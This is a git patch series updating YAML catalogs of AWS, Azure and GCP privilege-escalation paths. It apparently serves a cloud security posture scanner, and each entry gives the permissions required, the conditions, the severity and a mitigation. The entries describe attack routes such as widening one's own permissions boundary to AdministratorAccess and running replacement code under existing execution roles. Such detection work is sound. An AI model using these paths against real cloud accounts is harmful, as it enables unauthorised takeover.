b/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml index 07cf42ecfe..553fa7816f 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/grafana.yaml @@ -42,7 +42,7 @@ - id: aws-grafana-serviceaccounttoken-admin provider: aws service: grafana - title: Mint a Grafana service-account token (optionally for a new ADMIN account) + title: Create a Grafana ADMIN service account and mint its token source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account source_revision: 171e422299 summary: The source can obtain Grafana ADMIN access to Managed Grafana workspaces by creating an ADMIN service account and minting a token for it. @@ -70,7 +70,7 @@ confidence: conditional severity: high mitigation: Restrict grafana:CreateWorkspaceServiceAccount and CreateWorkspaceServiceAccountToken and inventory workspace service accounts and tokens. - notes: Token vending alone (CreateWorkspaceServiceAccountToken for an existing service account) reaches only that account's Grafana role, which is not modelled as ADMIN; ADMIN is guaranteed only with CreateWorkspaceServiceAccount. + notes: This creates a new ADMIN account and its token. Token vending for a recorded, enabled existing ADMIN account is modeled separately by aws-grafana-existing-admin-serviceaccount-token. - id: aws-grafana-updateworkspaceauthentication-saml-admin provider: aws @@ -105,3 +105,41 @@ references: - https://docs.aws.amazon.com/grafana/latest/APIReference/API_UpdateWorkspaceAuthentication.html notes: The grant is limited to Grafana's application plane and configured data sources; it does not issue IAM credentials. + +- id: aws-grafana-existing-admin-serviceaccount-token + provider: aws + service: grafana + title: Mint a token for an existing Grafana ADMIN service account + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-managed-grafana-privesc/README.md#createworkspaceserviceaccounttoken--existing-or-attacker-created-service-account + source_revision: 171e422299 + summary: The source can obtain Grafana ADMIN API access by minting a token for an enabled ADMIN service account already present in one workspace. + source_kind: [aws_user, aws_role] + requires: + all_of: + - action: grafana:CreateWorkspaceServiceAccountToken + resource: "{target.resource_arn}" + target: + kind: aws_service_plane_admin + selector: + service_plane: grafana + resource_permission_covers_target: grafana:CreateWorkspaceServiceAccountToken + scope: same_account + aggregate_as: "Managed Grafana administrators in {account}" + outcome: application_admin + grants: [Grafana ADMIN] + preconditions: + - grafana_existing_admin_service_account_token_ready + conditions: + - id: existing_admin_account + description: An enabled ADMIN service account ID must be recorded for the exact ACTIVE workspace, and the caller must be able to create a token for that workspace. + - id: workspace_network_access + description: Grafana HTTP API access still depends on the workspace network controls. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Restrict CreateWorkspaceServiceAccountToken to administrators and review token creation for existing ADMIN service accounts. + references: + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_ListWorkspaceServiceAccounts.html + - https://docs.aws.amazon.com/grafana/latest/APIReference/API_CreateWorkspaceServiceAccountToken.html + notes: This grants the service account's Grafana application permissions, not AWS IAM credentials. A disabled, missing, non-ADMIN, or uncollected account cannot establish this route. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml index 1f7f396d7a..023074346c 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/iam.yaml @@ -509,6 +509,39 @@ - https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html notes: "The AttachRolePolicy branch tries AdministratorAccess and collected customer-managed policies whose default version clearly grants unrestricted actions and resources. Every action must cover the same newly creatable role ARN, and the source must be able to assume that role after creation." +- id: aws-iam-createrole-satisfy-cross-account-trust + provider: aws + service: iam + title: Create a role accepted by a cross-account trust + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#path-name-and-arn-conditions + source_revision: b587e6bd26 + summary: The source can create and assume a role whose ARN matches another account's role trust, then grant the new role permission to assume that target. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: {} + scope: any + aggregate_as: Cross-account roles accepting a new source-account role + outcome: credentials + preconditions: + - iam_new_role_cross_account_trust + conditions: + - id: role_creation_and_assumption + description: The source must create one unused role ARN matching the target trust, give that role sts:AssumeRole on the target, and assume the new role. + - id: trust_uses_principal_arn + description: The target must delegate to the source account and match the future role through aws:PrincipalArn; a directly named role Principal is tied to an immutable role ID. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: high + mitigation: Scope cross-account trust to established role identities and tightly restrict who can create roles or write their policies in trusted paths. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_elements_principal.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_evaluation-logic-cross-account.html + notes: The evaluator joins a collected target trust with one unoccupied role ARN in the source account, exact CreateRole and PutRolePolicy grants on that ARN, a source-to-new-role assumption path, and source-account SCP permission for the new role to assume the target. A direct role ARN in Principal, incomplete role inventory, uncertain trust conditions, or a required permissions boundary does not establish a conditional edge. The role must still be created and assumed. + - id: aws-iam-addusertogroup provider: aws service: iam @@ -538,6 +571,109 @@ references: [] notes: The Resource of iam:AddUserToGroup is the group ARN. Only IAM users can be group members. The evaluator confirms a new effective self-policy edit, administrator policy attachment, or assumption of a specific trusted role; other policy gains remain unresolved until their action and resource are joined to an outcome. +- id: aws-iam-putuserpermissionsboundary-self-admin + provider: aws + service: iam + title: Widen the source user's permissions boundary + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputuserpermissionsboundary + source_revision: 171e422299 + summary: The source IAM user already has an administrator identity policy limited by its current boundary and can remove that boundary or replace it with AdministratorAccess. + requires: + any_of: + - - action: iam:DeleteUserPermissionsBoundary + resource: "{source.arn}" + - - action: iam:PutUserPermissionsBoundary + resource: "{source.arn}" + request_context: + iam:PermissionsBoundary: "arn:{source.partition}:iam::aws:policy/AdministratorAccess" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_user + scope: same_account + aggregate_as: "Administrator of {account} (self-escalation)" + preconditions: + - iam_user_boundary_admin_gain + conditions: + - id: existing_identity_grant + description: An existing identity policy must already grant unrestricted administrator actions; changing a boundary does not create a new identity grant. + blockers: [] + confidence: derived + severity: critical + mitigation: Do not let a bounded user remove or replace its own boundary; constrain any boundary updates to approved policy ARNs. + references: + - https://docs.aws.amazon.com/IAM/latest/APIReference/API_PutUserPermissionsBoundary.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/access_policies_boundaries.html + notes: The evaluator compares current and post-change effective administrator authority, checks the exact source user, and tests a Put request with the AdministratorAccess boundary ARN. Existing IAM and SCP Deny statements still apply. + +- id: aws-iam-putrolepermissionsboundary-self-admin + provider: aws + service: iam + title: Widen the source role's permissions boundary + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 171e422299 + summary: The source role already has an administrator identity policy limited by its current boundary and can remove or widen that boundary. + requires: + any_of: + - - action: iam:DeleteRolePermissionsBoundary + resource: "{source.arn}" + - - action: iam:PutRolePermissionsBoundary + resource: "{source.arn}" + request_context: + iam:PermissionsBoundary: "arn:{source.partition}:iam::aws:policy/AdministratorAccess" + target: + kind: aws_account_admin + selector: + same_as_source: true + source_kind: aws_role + scope: same_account + aggregate_as: "Administrator of {account} (after a fresh role session)" + preconditions: [iam_role_boundary_admin_gain] + conditions: + - id: fresh_session + description: The changed boundary applies to a new role session, so the source must obtain another session of this role. + blockers: [] + confidence: conditional + severity: critical + mitigation: Keep role boundary changes separate from the role's own permissions and restrict replacement policies. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_update-role-permissions.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_iam-condition-keys.html + notes: A current role session does not gain the new boundary. The route remains conditional until another session of this role is obtained. + +- id: aws-iam-putrolepermissionsboundary-assumable-admin + provider: aws + service: iam + title: Widen the boundary of a role the source can assume + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc/README.md#iamputrolepermissionsboundary + source_revision: 6fb9ac51fd + summary: An existing assumable role has an administrator identity policy limited by its current boundary, and the source can remove or widen that boundary before assuming it. + requires: + any_of: + - - action: iam:DeleteRolePermissionsBoundary + resource: "{source.assumable_role_arn}" + - - action: iam:PutRolePermissionsBoundary + resource: "{source.assumable_role_arn}" + request_context: + iam:PermissionsBoundary: "arn:{source.partition}:iam::aws:policy/AdministratorAccess" + target: + kind: aws_account_admin + selector: + via_assumable_role_covered_by: iam:PutRolePermissionsBoundary + scope: same_account + aggregate_as: "Administrator of {account} (via an assumable role)" + preconditions: [iam_role_boundary_admin_gain] + conditions: [] + blockers: [] + confidence: derived + severity: critical + mitigation: Separate role boundary administration from role assumption and restrict replacement policies. + references: + - https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_update-role-permissions.html + - https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_iam-condition-keys.html + notes: The same assumable role must satisfy trust, mutation permission, existing identity grant and restrictive old boundary; the new assumption obtains a fresh session. + - id: aws-iam-updateassumerolepolicy provider: aws service: iam diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml index 1be85e4f3f..f1f2766241 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/organizations.yaml @@ -51,8 +51,8 @@ provider: aws service: organizations title: Create a member account to satisfy role trusts keyed on aws:PrincipalOrgID - source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--spawn-an-account-you-fully-own-inside-the-victim-org - source_revision: 171e422299 + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-organizations-prinvesc/README.md#organizationscreateaccount--create-a-member-account-with-a-management-access-role + source_revision: 9e5d46375b53cbd2d0cdce63771f3e36f0c30bae summary: A management-account principal can create a member account, assume its new management access role if authorized, and then try roles whose trust allows principals from the organization. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml index ea32f2744e..6cc3a4b0dd 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/sagemaker.yaml @@ -505,3 +505,37 @@ references: - https://docs.aws.amazon.com/sagemaker/latest/dg/studio-lcc.html notes: The precondition joins one free JupyterLab or CodeEditor lifecycle-configuration name, the exact user profile and role, CreateStudioLifecycleConfig and UpdateUserProfile permissions, and a creatable app of the same type. Existing apps or incomplete profile, domain, app or lifecycle inventories remain unresolved. Domain defaults and shared spaces need separate joins. + +- id: aws-sagemaker-attach-studio-lifecycle-config-shared-space + provider: aws + service: sagemaker + title: Attach controlled startup code to an existing shared Studio space + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc/README.md#set-lifecycle-configuration-on-sagemaker-studio + source_revision: b587e6bd26 + summary: The source can attach a new lifecycle configuration to a shared space and start a matching app using its recorded execution role. + requires: + all_of: [] + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + attached_to_service: sagemaker + via_resource_type: sagemaker_space + scope: same_account + aggregate_as: Roles of shared Studio spaces whose startup code the source can change in {account} + outcome: workload_execution + preconditions: + - sagemaker_studio_shared_space_lcc_route + conditions: + - id: successful_space_app_start + description: The space update and later app creation must succeed so the new startup script executes. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict Studio lifecycle-configuration creation, UpdateSpace and CreateApp on shared spaces using privileged roles to trusted operators. + references: + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_UpdateSpace.html + - https://docs.aws.amazon.com/sagemaker/latest/APIReference/API_CreateApp.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_sagemaker.html + notes: The evaluator uses the collected shared space's exact ARN, app type and execution role. It checks a free compatible lifecycle-configuration name, CreateStudioLifecycleConfig, UpdateSpace with the configuration ARN context, and CreateApp plus AddTags on the matching new app. Existing apps, private spaces and incomplete inventory stay unresolved. Startup execution remains conditional. diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml index 8d264b1c1e..6918263a75 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/synthetics.yaml @@ -7,3 +7,40 @@ # Amazon CloudWatch Synthetics privilege escalation techniques. # Source: hacktricks-cloud aws-synthetics-privesc/README.md (rev 171e422299). # Uses {target.resource_arn} and via_resource_type (see header of lambda.yaml). + +- id: aws-synthetics-startcanarydryrun-replacement-code + provider: aws + service: synthetics + title: Run replacement canary code under its existing execution role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-synthetics-privesc/README.md#dry-run-replacement-code--passrole + source_revision: 171e422299 + summary: The source can supply inline code for an existing canary's dry run, which executes using that canary's recorded role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: synthetics.amazonaws.com + target: + kind: aws_role + selector: + attached_to_service: synthetics + via_resource_type: synthetics_canary + scope: same_account + aggregate_as: Roles of canaries whose dry-run code the source can replace in {account} + outcome: workload_execution + preconditions: + - synthetics_existing_canary_dry_run_code + conditions: + - id: successful_dry_run + description: The replacement script must be valid and the dry run must execute successfully. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict StartCanaryDryRun on privileged canaries and PassRole on their execution roles to trusted operators. + references: + - https://docs.aws.amazon.com/AmazonSynthetics/latest/APIReference/API_StartCanaryDryRun.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_synthetics.html + - https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/performing-safe-canary-upgrades.html + notes: StartCanaryDryRun accepts an inline ZipFile, so this route does not require a writable external code object. The evaluator checks the same recorded canary ARN and execution role, a supported runtime and the two effective grants. The dry run itself and successful code execution remain conditional. From ac6bbe04e1f3707bcd0153e76e0ef57ea2c72552 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 05:16:46 +0200 Subject: [PATCH 07/10] Sync reviewed ECS scheduled-task privilege path --- src/privilege-escalation-paths/aws/ecs.yaml | 38 +++++++++++++++++++++ 1 file changed, 38 insertions(+) diff --git a/src/privilege-escalation-paths/aws/ecs.yaml b/src/privilege-escalation-paths/aws/ecs.yaml index cfa14a5055..1f29eec5d6 100644 --- a/src/privilege-escalation-paths/aws/ecs.yaml +++ b/src/privilege-escalation-paths/aws/ecs.yaml @@ -7,6 +7,43 @@ # AWS ECS privilege escalation techniques. # Source: hacktricks-cloud aws-ecs-privesc/README.md. +- id: aws-ecs-eventbridge-scheduled-task-role + provider: aws + service: ecs + title: Schedule a controlled ECS task under its task role + source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#periodic-ecs-task-through-eventbridge + source_revision: b587e6bd26 + summary: The source can register a task definition with controlled code and use a scheduled EventBridge rule to start it under a stronger task role. + requires: + all_of: + - action: iam:PassRole + resource: "{target.arn}" + request_context: + iam:PassedToService: ecs-tasks.amazonaws.com + source_kind: [aws_user, aws_role] + target: + kind: aws_role + selector: + resource_permission_covers_target: iam:PassRole + scope: same_account + aggregate_as: ECS task roles reachable through a new scheduled EventBridge rule in {account} + outcome: workload_execution + preconditions: + - ecs_new_task_definition_eventbridge_schedule_ready + conditions: + - id: scheduled_task_execution + description: The controlled task image must be runnable and the enabled rule must trigger a task on a compatible connected instance. + blockers: + - scp_or_boundary_deny + confidence: conditional + severity: critical + mitigation: Restrict ECS task-definition registration, EventBridge rule targets and PassRole on invocation and task roles to trusted deployment principals. + references: + - https://docs.aws.amazon.com/AmazonECS/latest/developerguide/CWE_IAM_role.html + - https://docs.aws.amazon.com/eventbridge/latest/APIReference/API_PutTargets.html + - https://docs.aws.amazon.com/service-authorization/latest/reference/list_ecs.html + notes: The evaluator binds one new task-definition family, one free scheduled default-bus rule, an active connected EC2 cluster and a recorded EventBridge invocation role. The source must pass the task role to ECS and the invocation role to EventBridge; that invocation role must trust events.amazonaws.com and be allowed to RunTask and pass the task role. A role-less task definition cannot satisfy this route. Task image pull and actual execution remain conditional. + - id: aws-ecs-executecommand provider: aws service: ecs @@ -191,6 +228,7 @@ source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-and-a-task-launching-action source_revision: 171e422299 summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. + # The native precondition checks registration on the generated task-definition family. requires: all_of: [] source_kind: [aws_user, aws_role] From 96a81c50e33a59fa4397896dff8e130f87f36eb6 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 05:17:55 +0200 Subject: [PATCH 08/10] Keep reviewed ECS catalog copy aligned --- src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml index e9884d5f1b..1f29eec5d6 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/aws/ecs.yaml @@ -228,9 +228,9 @@ source: src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-ecs-privesc/README.md#ecsregistertaskdefinition-and-a-task-launching-action source_revision: 171e422299 summary: The source can obtain the privileges of the container-instance role and of task roles of tasks co-located on EC2 container instances by running a privileged/host-mounted container it controls. + # The native precondition checks registration on the generated task-definition family. requires: - all_of: - - action: ecs:RegisterTaskDefinition + all_of: [] source_kind: [aws_user, aws_role] target: kind: aws_role From ee45f5f10abb8aef3fcf4216ab7971f342b3c274 Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 05:38:13 +0200 Subject: [PATCH 09/10] Route seven source pins through reviewed catalog PR --- .../azure/authorization.yaml | 2 +- .../azure/avs.yaml | 2 +- .../azure/cosmos_db.yaml | 2 +- .../azure/entraid_groups.yaml | 2 +- .../gcp/container.yaml | 2 +- .../gcp/workspace.yaml | 4 +-- .../azure/authorization.yaml | 2 +- src/privilege-escalation-paths/azure/avs.yaml | 31 +++++++++++++++++++ .../azure/cosmos_db.yaml | 2 +- .../azure/entraid_groups.yaml | 2 +- .../gcp/container.yaml | 2 +- .../gcp/workspace.yaml | 4 +-- 12 files changed, 44 insertions(+), 13 deletions(-) diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml index f4ba149007..463ea15206 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/authorization.yaml @@ -75,7 +75,7 @@ service: authorization title: Create or update a deployIfNotExists/modify policy assignment running as an existing user-assigned identity source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#policy-assignment-remediation-with-an-existing-user-assigned-identity - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source can obtain the Azure RBAC control-plane privileges of user-assigned managed identities on which it holds assign/action, by making them the remediation identity of a policy assignment whose custom definition it controls. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml index 84b58030e8..fc8b8361d8 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/avs.yaml @@ -69,7 +69,7 @@ service: avs title: Gain a named vCenter identity through a verified AVS Run Command grant source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: An AVS Run Command cmdlet can grant a named vCenter account new access only when the chosen package and cmdlet succeed and a reviewed login proves the added permission. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml index a834a30290..43641ebd16 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/cosmos_db.yaml @@ -103,7 +103,7 @@ service: cosmos_db title: Grant a Cosmos DB native data-plane role on the Cassandra, Gremlin, Table or MongoDB API source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#same-native-rbac-self-grant-on-the-other-cosmos-apis-cassandra--gremlin--table--mongodb-account - source_revision: a66f094ede + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source may grant its own Entra identity data-plane access on a matching Cosmos DB API account. requires: all_of: [] diff --git a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml index eb92d9c701..e8caee55b9 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/azure/entraid_groups.yaml @@ -145,7 +145,7 @@ service: entraid title: Group owner joins an owned group source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-entraid-privesc/README.md#group-owner-joins-an-owned-group - source_revision: 658a097d5c + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: An enabled owner can join an assigned group it does not already belong to, including a role-assignable group when its protected membership requirements are met. requires: all_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml index e184a296d8..25851d11b0 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/container.yaml @@ -356,7 +356,7 @@ service: container title: Point fleet Config Management at an attacker source to push manifests into member clusters source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#config-management-source-change-for-a-fleet-member - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source may gain the Config Sync reconciler's privileges on a joined fleet-member cluster when it can change that member's Config Management source through the fleet Feature or MembershipFeature API. requires: any_of: diff --git a/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml b/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml index aeb9630f57..8e8accc19a 100644 --- a/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml +++ b/src/privilege-escalation-paths-cspm-reviewed/gcp/workspace.yaml @@ -47,7 +47,7 @@ - https://docs.cloud.google.com/application-integration/docs/prepare-for-authorization-changes notes: The tested draft and published version paths require a collected enabled service and an observed integration in the same project and region. Other regions, new integration creation, and unattended trigger execution remain unresolved if not evidenced. - provider: gcp - source_revision: 47bb6e8f32 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb id: gcp-agentidentity-retrieve-credentials service: agentidentity title: Retrieve an authorized Google OAuth credential from Agent Identity @@ -77,7 +77,7 @@ - https://docs.cloud.google.com/iam/docs/reference/agentidentitycredentials/rest/v1/projects.locations.authProviders.credentials/retrieve notes: The client user ID is supplied by the client application and is not independently verified as a Workspace identity. The path grants only the scopes on the existing authorization and remains conditional until credential retrieval succeeds. - provider: gcp - source_revision: 47bb6e8f32 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb id: gcp-agentidentity-update-token-url service: agentidentity title: Change an Agent Identity auth provider's token endpoint to intercept future refreshes diff --git a/src/privilege-escalation-paths/azure/authorization.yaml b/src/privilege-escalation-paths/azure/authorization.yaml index 89e31549b2..90a8225cac 100644 --- a/src/privilege-escalation-paths/azure/authorization.yaml +++ b/src/privilege-escalation-paths/azure/authorization.yaml @@ -205,7 +205,7 @@ service: authorization title: Create or update a deployIfNotExists/modify policy assignment running as an existing user-assigned identity source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-authorization-privesc.md#microsoftauthorizationpolicyassignmentswrite--microsoftauthorizationpolicyassignmentsdelete - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source can obtain the Azure RBAC control-plane privileges of user-assigned managed identities on which it holds assign/action, by making them the remediation identity of a policy assignment whose custom definition it controls. requires: all_of: diff --git a/src/privilege-escalation-paths/azure/avs.yaml b/src/privilege-escalation-paths/azure/avs.yaml index 188f4016f2..9f256603cd 100644 --- a/src/privilege-escalation-paths/azure/avs.yaml +++ b/src/privilege-escalation-paths/azure/avs.yaml @@ -69,3 +69,34 @@ references: - https://learn.microsoft.com/en-us/azure/azure-vmware/using-azure-vmware-solution-run-command notes: "" + +- id: azure-avs-run-command-vcenter-grant-external-principal + provider: azure + service: avs + title: Gain a named vCenter identity through a verified AVS Run Command grant + source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-vmware-solution-avs-privesc.md#run-command-identity-grants-without-reading-credentials-scriptexecutionswrite + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb + summary: An AVS Run Command cmdlet can grant a named vCenter account new access only when the chosen package and cmdlet succeed and a reviewed login proves the added permission. + requires: + all_of: + - action: Microsoft.AVS/privateClouds/scriptExecutions/write + scope: '*' + target: + kind: azure_external_principal + selector: + azure_external_principal_evidence: true + azure_external_plane: vmware_vcenter + scope: inherited_scope + outcome: identity + aggregate_as: Exact vCenter identity granted by verified AVS Run Command + conditions: + - id: exact_cmdlet_subject_and_grant + description: Unique complete reviewed evidence must bind the executed identity cmdlet and granted group to a source-controlled member login, prior denial, successful grant, and newly allowed vCenter action. + blockers: + - azure_deny_assignment + confidence: conditional + severity: high + mitigation: Restrict AVS script execution and audit vCenter SSO identity sources and administrators. + references: + - https://learn.microsoft.com/en-us/azure/azure-vmware/using-azure-vmware-solution-run-command + notes: Package and cmdlet read permissions aid discovery but are not needed when the cmdlet ID is already known. The selector checks write permission on the exact script execution, including a grant limited to that child resource. Only a reviewed identity_grant artifact naming the execution, granted group, source-controlled member login, and successful subsequent authorization creates an edge. diff --git a/src/privilege-escalation-paths/azure/cosmos_db.yaml b/src/privilege-escalation-paths/azure/cosmos_db.yaml index ed90491f9c..60e8b4a3eb 100644 --- a/src/privilege-escalation-paths/azure/cosmos_db.yaml +++ b/src/privilege-escalation-paths/azure/cosmos_db.yaml @@ -90,7 +90,7 @@ service: cosmos_db title: Grant a Cosmos DB native data-plane role on the Cassandra, Gremlin, Table or MongoDB API source: src/pentesting-cloud/azure-security/az-privilege-escalation/az-cosmosDB-privesc.md#same-native-rbac-self-grant-on-the-other-cosmos-apis-cassandra--gremlin--table--mongodb-account - source_revision: a66f094ede + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source can obtain full data-plane access on the Cosmos DB account through the API-specific native role assignments. requires: all_of: [] diff --git a/src/privilege-escalation-paths/azure/entraid_groups.yaml b/src/privilege-escalation-paths/azure/entraid_groups.yaml index 0e5c51da82..ad10f15e6f 100644 --- a/src/privilege-escalation-paths/azure/entraid_groups.yaml +++ b/src/privilege-escalation-paths/azure/entraid_groups.yaml @@ -133,7 +133,7 @@ service: entraid title: Group owner adds itself to the owned group (incl. role-assignable groups) source: src/pentesting-cloud/azure-security/az-services/az-azuread.md#add-user-to-group - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: An owner of an assigned-membership group can obtain the privileges of that group, including directory roles assigned to a role-assignable group. requires: all_of: diff --git a/src/privilege-escalation-paths/gcp/container.yaml b/src/privilege-escalation-paths/gcp/container.yaml index f9f501e829..f5315eec29 100644 --- a/src/privilege-escalation-paths/gcp/container.yaml +++ b/src/privilege-escalation-paths/gcp/container.yaml @@ -382,7 +382,7 @@ service: container title: Point fleet Config Management at an attacker source to push manifests into member clusters source: src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md#config-management-source-change-for-a-fleet-member - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb summary: The source can obtain the privileges of cluster-admin on fleet-member clusters of every project where it can create or update the Config Management fleet feature and the member's MembershipFeature. requires: any_of: diff --git a/src/privilege-escalation-paths/gcp/workspace.yaml b/src/privilege-escalation-paths/gcp/workspace.yaml index 4a600596f6..d6877ab34d 100644 --- a/src/privilege-escalation-paths/gcp/workspace.yaml +++ b/src/privilege-escalation-paths/gcp/workspace.yaml @@ -132,7 +132,7 @@ mitigation: Restrict gsuiteaddons.deployments.update and alert on deployment endpoint or scope changes. - provider: gcp - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb id: gcp-agentidentity-retrieve-credentials service: agentidentity title: Retrieve a stored OAuth token from an Agent Identity auth provider @@ -161,7 +161,7 @@ mitigation: Treat roles/agentidentity.user and custom roles with retrieveCredentials as credential-vault access. - provider: gcp - source_revision: 171e422 + source_revision: 4393380a88845b42bd208d3adbb6d61ad89f02fb id: gcp-agentidentity-update-token-url service: agentidentity title: Change an Agent Identity auth provider's token endpoint to intercept future refreshes From fcdee700af31c01b4089b008a2b2ae2b506e360e Mon Sep 17 00:00:00 2001 From: Carlos Polop Date: Fri, 23 Oct 2026 06:26:22 +0200 Subject: [PATCH 10/10] Sync CSPM schema and repair stale privilege escalation anchors --- scripts/privesc_paths_schema.py | 2044 +++++++++++------ 